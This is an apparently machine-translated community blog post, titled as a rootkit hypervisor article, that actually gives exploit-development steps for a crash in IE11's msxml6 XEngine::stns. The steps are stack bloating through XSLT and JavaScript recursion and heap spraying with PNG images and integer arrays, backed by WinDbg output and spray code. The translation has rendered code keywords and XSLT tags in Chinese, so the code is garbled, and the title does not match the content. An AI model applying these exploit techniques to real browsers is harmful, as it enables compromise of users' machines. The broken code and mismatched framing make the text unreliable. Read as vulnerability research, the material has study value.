前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何隐藏钩子:rootkit 的管理程序1

如何隐藏钩子:rootkit 的管理程序1

原创
作者头像
franket
发布2022-03-21 18:58:11
4.4K2
发布2022-03-21 18:58:11
举报
文章被收录于专栏:技术杂记
代码语言:javascript
复制
--[ 3 - 控制

在这一点上很明显,唯一合理的方法来控制
漏洞是膨胀堆栈,以便崩溃的指针会
落入可以控制的用户态内存区域:


  msxml6!XEngine::stns+0x6:
  6f6f9c85 8b5008 mov edx,dword ptr [eax+8] ds:0023:b040053a=????????

  0:007>你eip-6
  msxml6!XEngine::stns:
  6f6f9c7f 8b81b0000000 mov eax,dword ptr [ecx+0B0h]
  6f6f9c85 8b5008 mov edx,dword ptr [eax+8]

  0:007> dds ecx+b0-2
  0d5c9ff0 0532af20
  0d5c9ff4 0532b040

  0:007> k
  ChildEBP RetAddr
  0532af18 6f6e60cc msxml6!XEngine::stns+0x6
  0532b038 6f6e60cc msxml6!XEngine::frame+0x84
  0532b0b8 6f6f3e2d msxml6!XEngine::frame+0x84
  0532b168 6f75ffb0 msxml6!XEngine::执行+0x1b4


鉴于上面的清单,如果有第二个就好了
XEngine::frame() 调用发生在例如 0x05320300 附近,这将发送
指向 XEngine::stns() 的崩溃指针值 0x0300053a,指向
堆。这要求在易受攻击的过程调用之前,
线程必须进行函数调用和堆栈帧分配
大约 42 KB 的堆栈内存,并且永远不会弹出它们。


--[ 3.1 - 膨胀堆栈 1:XSLT 递归

膨胀堆栈的明显方法是在
堆栈,这应该可以使用任何可用于的动态技术
目标应用程序。我的第一个想法是为此使用 XSLT 本身。
确实,下面的代码,就是经典的Hanoi算法
XSLT 中的实现,将在堆栈上产生大量递归(
作为记录,它甚至可能使用足够大的 $n 对浏览器进行 DoS):


<?xml 版本="1.0"?>
<xsl:stylesheet 版本="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:模板匹配="/">
  <xsl:变量名="n">
    <xsl:value-of select="//arg/@n"/>
  </xsl:变量>
  <xsl:element name="hanoi-solve">
  <xsl:call-template name="dohanoi">
    <xsl:with-param name="n" select="30"/>
    <xsl:with-param name="to" select="3"/>
    <xsl:with-param name="from" select="1"/>
    <xsl:with-param name="使用" select="2"/>
  </xsl:调用模板>
</xsl:元素>
</xsl:模板>

<xsl:template name="dohanoi">
  <xsl:param name="n"/>
  <xsl:param name="to"/>
  <xsl:param name="来自"/>
  <xsl:param name="使用"/>
  <xsl:if test="number($n) > 0">

  <xsl:call-template name="dohanoi">
    <xsl:with-param name="n" select="number($n) - 1"/>
    <xsl:with-param name="to" select="$using"/>
    <xsl:with-param name="from" select="$from"/>
    <xsl:with-param name="using" select="$to"/>
  </xsl:调用模板>

  <xsl:元素名称="移动">
  <xsl:attribute name="来自">
    <xsl:value-of select="$from"/>
  </xsl:属性>
  <xsl:attribute name="to">
    <xsl:value-of select="$to"/>
  </xsl:属性>
  </xsl:元素>

  <xsl:call-template name="dohanoi">
    <xsl:with-param name="n" select="number($n) - 1"/>
    <xsl:with-param name="to" select="$to"/>
    <xsl:with-param name="from" select="$using"/>
    <xsl:with-param name="using" select="$from"/>
  </xsl:调用模板>

  <xsl:for-each select="*">
    <xsl:apply-templates/>
  </xsl:for-each>

</xsl:if>
</xsl:模板>

<xsl:template name="xxx_nonexistent" match="//xxx[position()]" />

</xsl:样式表>


遗憾的是,基于 XSLT 的递归将堆栈膨胀到上方而不是下方
崩溃指针源堆栈帧,因此递归不会
完全影响崩溃的上下文:


  ChildEBP RetAddr
  0ed783e8 711b60cc msxml6!XEngine::stns
  0ed78588 711b60cc msxml6!XEngine::frame+0x84
  0ed78728 711b60cc msxml6!XEngine::frame+0x84
  0ed788c8 711b60cc msxml6!XEngine::frame+0x84
  0ed78a68 711b60cc msxml6!XEngine::frame+0x84
  0ed78c08 711b60cc msxml6!XEngine::frame+0x84
  0ed78da8 711b60cc msxml6!XEngine::frame+0x84
  ; 跳过了许多帧()
  0ed7b5e8 msxml6!XEngine::frame+0x84
  ; --> 易受攻击的堆栈帧 <--
  0ed7b668 711c3e2d msxml6!XEngine::frame+0x84
  0ed7b710 7122ffb0 msxml6!XEngine::execute+0x1b4
  0ed7b76c 7122fee3 msxml6!XUtility::executeXCode+0x90
  0ed7b7c0 7122fe2b msxml6!XUtility::transformNode+0x4a
  0ed7b82c 7122fda2 msxml6!DOMNode::transformNode+0xa6
  ...


--[ 3.2 - 膨胀堆栈 2:JavaScript 递归

在 XSLT 递归失败后,我转而使用 JavaScript。这
遵循简单的阶乘实现将产生大量
堆栈上的递归:


  函数阶乘(n){
    如果(n == 0){
        扳机();
        返回 1
    } 别的 {
        返回 n * 阶乘(n - 1);
    }
  }
  ...
  <body onload="factorial(63)">


该漏洞必须从递归代码中触发
为了享受膨胀的堆栈情况:


  msxml6!XEngine::stns+0x6:
  711c9c85 mov edx,dword ptr [eax+8] ds:0023:03a004ca=????????

  0:005> !address eax

  用法:页面堆
  基地地址:03961000
  结束地址:03a60000
  区域大小:000ff000
  状态:00002000 MEM_RESERVE
  保护:<目标中不存在信息>
  类型:00020000 MEM_PRIVATE
  分配基数:03960000
  分配保护:00000001 PAGE_NOACCESS
  更多信息:!heap -p 0x3541000
  更多信息:!heap -p -a 0x3a004c2


  0:005> !堆
  索引地址名称调试选项已启用
  1:016a0000
  2:015e0000
  3:00010000
  4:019f0000
  5: 03720000 < 登陆这里
  6:06470000
  7:06900000
  8:06cd0000
  9:07cb0000
 10: 07dd0000
 11: 09380000
 12:07d60000
 13:0c500000
 14:0c670000
 15:0cd30000


这次访问了一个有效的用户空间地址,并且访问冲突
仅仅是由于地址上没有繁忙的分配造成的。

根据多次测试的观察结果,线程
堆栈总是从略低于内存页边缘的位置开始:


  测试1:
  0532fbbc 00000000 ntdll!_RtlUserThreadStart+0x1b
  测试2:
  04d7fd34 00000000 ntdll!_RtlUserThreadStart+0x1b
  测试3:
  04a5ffd8 00000000 ntdll!_RtlUserThreadStart+0x1b
  测试4:
  055bfe80 00000000 ntdll!_RtlUserThreadStart+0x1b


更准确地说,堆栈开始的确切地址是
变量在大约 0x600 字节的范围内,指针也是如此
基于堆栈的变量;因此,崩溃指针将通过
x86系统上为0x06000000,表示初始无效内存
访问将在 100 Mb 内的随机内存地址上观察到
内存范围。

此时我们有两个单独的问题:首先,要快速填写
至少 200-300 Mb 的内存和受控数据(需要 100 Mb 才能捕获
初始内存访问,加上二级指针的空间
取消引用填充,加上对分配地址的一些补偿
可变性),其次,将崩溃指针指向特定的
那个记忆的区域。

请注意,尽管堆喷射被认为是一种不好的做法
原因,并且它在 64 位上即使不是不可能也受到高度限制
系统有 128G 的内存空间来填充,但我们的性质
漏洞不允许替代方法。所以,让我们只是
把它当作巧妙处理任何事物的练习。


--[ 3.4 - 填充内存1:图像

因为必须控制的内存区域比较大,我的
最初的想法是利用一些预先计算好的大物体进行填充
它,例如图像。这个想法的核心是,每一条数据
可以被目标应用程序消费和处理(例如输出
或渲染)在目标进程中有它的位置和表示
记忆。这样想我们不会陷入刻板印象
“堆喷射”和与之相关的特定技术,许多
这已经在浏览器中得到缓解。

在漏洞开发中使用图形图像的想法不是
新的。它于 2006 年由 Sutton 等人 [3] 首次引入,他们的研究
主要关注图像中 shellcode 隐写术的美学
而不是解决堆喷射的任何问题(因为没有
当时)。后来,一些研究人员在
堆喷射的上下文,但它从未找到真正的应用程序,
主要是因为位图(作为唯一能够合并
字节模式'原样')是巨大的,只能在帮助下缩小
服务器端措施,同时使用其他图像格式进行内存控制
目的背负着再压缩的计算问题。

除了服务器端 GZIP 压缩之外,另一种解决方案
公开指出的是PNG。PNG压缩非常简单,不
影响整个位图结构。结果,2Mb BMP 图像
包含一个简单的 1 字节模式可以转换为 ~500 字节的 PNG
图像,将被解压缩回原始位图中的
渲染进程内存。

然而有两个问题:

1. 源位图模式的变量越多,越大
生成的PNG图像;任何压缩的自然限制。

2.解压后的PNG在位图数据中有多余的字节,注入后
原始位图的每 3 个字节。这可能是一个透明渠道
或其他一些特定于 PNG 格式的数据。

好消息:

1.在PNG图片被加载和解压的时候
浏览器但尚未显示在网页上的位图数据
进程内存完全对应于源 BMP。

2. 一张大图被映射成一个相对大且连续的块
内存,位于某种可预测的内存偏移处。

PNG喷涂技术被证明不适合这种特殊情况
情况,因为需要高度可变的内存填充模式,
所以无论如何图像都必须太大。不过看起来还是
就像一种有趣的技术,可以快速填充巨大的内存区域
一个简单的字节模式。


--[ 3.5 - 填充内存2:整数

在测试了各种内存填充技术后,我终于确定了
整数数组。以下 JavaScript 代码将快速填充 400Mb
Internet Explorer 11 的内存与连续的常量双字喷射:


  var intArr = 新数组;
  变量计数 = (0x19000000-0x20)/4;
  intArr[0] = 0x01c0ffee;// 标记 // s 0 l?80000000 ee ff c0 01
  for(var i=1; i<=count; i++)
  intArr[i] = 0x17151715;
  警报(“完成”);


奇怪的是,改变喷洒循环中的值可能
有时会在 IE 中导致内部异常,例如在尝试填充时
超过 400 Mb 的浏览器内存,或使用“AAAA”整数
相当于填充物。这看起来像是对堆的保护
喷洒,但不会对任务构成重大障碍。

产生的内存填充分布在两个大而连续的
分配如下:


  0:028> s 0 l?80000000 ee ff c0 01
  0531b4f0 ee ff c0 01 f8 ff ff ff-00 00 00 00 00 00 00 00 ......
  ; 只是标记 dword,不相关
  08391860 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
  ; <0x200 字节块,不相关
  085dd0d8 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
  ; <0x10 字节块,不相关
  085de510 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
  ; <0x200 字节块,不相关
  12da5a18 ee ff c0 01 e3 ff c0 01-ce ff c3 01 b8 ff cc 01 ......
  ; 随机垃圾
  2c540020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
  ; 数组,第 1 部分
  3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
  ; 数组,第 2 部分


第一次分配看起来根本没有完成,停在 300Mb 左右,
而第二个分配已满,并且它们都是连续的:


  0:028> s 0 l?80000000 ee ff c0 01
  ...
  2c540020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......

  0:028> ? 3eec0020-2c540020
  评估表达式:311951360 = 12980000

  0:028>分贝2c540020+12980000-30
  ; 这是第一次和第二次分配之间的界限
  3eebff0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ......
  3eec0000 00 00 00 00 90 c4 fb 1e-00 00 00 00 00 00 00 00 ......
  3eec0010 00 00 00 00 f9 ff 3f 06-20 f1 是 07 00 00 00 00 ......?……
  3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3eec0030 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3eec0040 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3eec0050 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3eec0060 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......

  0:028>分贝2c540020+12000000
  ; 第一次分配的结束在大小之间
  ; 12000000 和 12980000
  3e540020 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3e540030 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3e540040 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3e540050 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3e540060 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3e540070 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3e540080 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  3e540090 15 17 15 17 15 17 15 17-15 17 15 17 15

  ;第二次分配:
  0:028> db 3eec0020+19000000
  ; 分配结束后的指针
  57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0070 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0080 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0090 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  0:028> db 3eec0020+19000000-30
  ; 第二次分配结束
  57ebfff0 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 ......
  57ec0000 15 17 15 17 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0010 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......
  57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 ......

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档